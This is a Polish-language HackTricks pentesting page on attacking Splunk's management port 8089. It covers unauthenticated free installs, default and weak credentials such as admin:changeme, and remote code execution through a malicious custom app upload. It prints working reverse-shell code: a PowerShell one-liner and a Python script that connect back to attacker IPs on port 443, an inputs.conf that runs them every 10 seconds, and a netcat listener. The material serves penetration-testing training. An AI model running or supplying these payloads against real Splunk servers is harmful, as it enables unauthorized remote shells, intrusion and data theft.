# 8089 - Testowanie penetracyjne Splunkd
Zacznij od zera i stań się ekspertem od hakowania AWS dziękihtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
## **Podstawowe informacje**
Splunk to narzędzie do **analizy logów**, które odgrywa kluczową rolę w **zbieraniu, analizowaniu i wizualizacji danych**. Chociaż jego początkowym celem nie było pełnienie roli narzędzia **SIEM (Security Information and Event Management)**, zyskał popularność w dziedzinie **monitorowania bezpieczeństwa** i **analizy biznesowej**.
Instalacje Splunk są często wykorzystywane do przechowywania **danych poufnych** i mogą stanowić **cenne źródło informacji** dla potencjalnych atakujących, jeśli uda im się skompromitować system. **Domyślny port:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
Serwer sieciowy **Splunk działa domyślnie na porcie 8000**.
{% endhint %}
## Wyliczanie
### Wersja darmowa
Wersja próbna Splunk Enterprise przekształca się w **wersję darmową po 60 dniach**, która **nie wymaga uwierzytelniania**. Nie jest rzadkością, że administratorzy systemów instalują wersję próbną Splunka, aby ją przetestować, a następnie o niej zapominają. Automatycznie przekształca się ona w wersję darmową, która nie posiada żadnej formy uwierzytelniania, wprowadzając lukę w zabezpieczeniach środowiska. Niektóre organizacje mogą wybrać wersję darmową ze względu na ograniczenia budżetowe, nie do końca rozumiejąc implikacje braku zarządzania użytkownikami/rolami.
### Domyślne dane uwierzytelniające
W starszych wersjach Splunka domyślne dane uwierzytelniające to **`admin:changeme`**, które wygodnie są wyświetlane na stronie logowania.\
Jednakże, **najnowsza wersja Splunka** ustawia **dane uwierzytelniające** **podczas procesu instalacji**. Jeśli domyślne dane uwierzytelniające nie działają, warto sprawdzić popularne słabe hasła, takie jak `admin`, `Welcome`, `Welcome1`, `Password123`, itp.
### Pozyskiwanie informacji
Po zalogowaniu się do Splunka, możemy **przeglądać dane**, uruchamiać **raporty**, tworzyć **wykresy**, **instalować aplikacje** z biblioteki Splunkbase oraz instalować niestandardowe aplikacje.\
Można również uruchamiać kod: Splunk ma wiele sposobów **uruchamiania kodu**, takich jak aplikacje Django po stronie serwera, punkty końcowe REST, skryptowane dane wejściowe oraz skrypty alarmowe. Powszechną metodą zdobycia zdalnego wykonania kodu na serwerze Splunka jest użycie skryptowanego wejścia.
Co więcej, ponieważ Splunk może być instalowany na hostach z systemem Windows lub Linux, można tworzyć skryptowane dane wejściowe do uruchamiania skryptów Bash, PowerShell lub Batch.
### Shodan
* `Splunk build`
## RCE
### Tworzenie niestandardowej aplikacji
Niestandardowa aplikacja może uruchamiać **skrypty Pythona, Batch, Bash lub PowerShell**.\
Zauważ, że **Splunk ma zainstalowanego Pythona**, więc nawet na systemach **Windows** będzie można uruchamiać kod pythona.
Możesz skorzystać z [**tego**](https://github.com/0xjpuff/reverse\_shell\_splunk) pakietu Splunka, aby nam pomóc. Katalog **`bin`** w tym repozytorium zawiera przykłady dla [Pythona](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) oraz [PowerShella](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Przejdźmy przez to krok po kroku.
Aby to osiągnąć, najpierw musimy utworzyć niestandardową aplikację Splunka, korzystając z następującej struktury katalogów:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
Katalog **`bin`** będzie zawierał wszelkie **skrypty, które zamierzamy uruchomić** (w tym przypadku odwróconą powłokę **PowerShell**), a domyślny katalog będzie zawierał plik `inputs.conf`. Nasza odwrócona powłoka będzie **jednolinijkowym poleceniem PowerShell:**
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
Plik [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) mówi Splunkowi **który skrypt uruchomić** oraz określa inne warunki. Tutaj ustawiamy aplikację jako włączoną i mówimy Splunkowi, aby uruchamiał skrypt co 10 sekund. Interwał zawsze jest podany w sekundach, a wejście (skrypt) zostanie uruchomione tylko wtedy, gdy to ustawienie jest obecne.
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Potrzebujemy pliku `.bat`, który zostanie uruchomiony po wdrożeniu aplikacji i wykona polecenie PowerShell.
Następnym krokiem jest wybranie opcji `Zainstaluj aplikację z pliku` i przesłanie aplikacji.
Przed przesłaniem złośliwej niestandardowej aplikacji, uruchommy nasłuchiwanie za pomocą programu Netcat lub [socat](https://linux.die.net/man/1/socat).
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
Na stronie `Prześlij aplikację` kliknij przycisk przeglądaj, wybierz archiwum tar, które wcześniej utworzyliśmy, a następnie kliknij `Prześlij`. Gdy tylko **prześlemy aplikację**, otrzymamy **odwrotną powłokę**, a status aplikacji automatycznie zostanie zmieniony na `Włączony`.
#### Linux
Jeśli mielibyśmy do czynienia z hostem **Linux**, musielibyśmy **edytować skrypt Pythona `rev.py`** przed utworzeniem archiwum tar i przesłaniem niestandardowej złośliwej aplikacji. Reszta procesu byłaby taka sama, a my uzyskalibyśmy połączenie z odwrotną powłoką na naszym słuchaczu Netcat i moglibyśmy ruszyć do działania.
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Eskalacja uprawnień
Na następnej stronie znajdziesz wyjaśnienie, jak można nadużyć tego usługi do eskalacji uprawnień i uzyskania trwałości:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## Odnośniki
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
Dowiedz się, jak hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.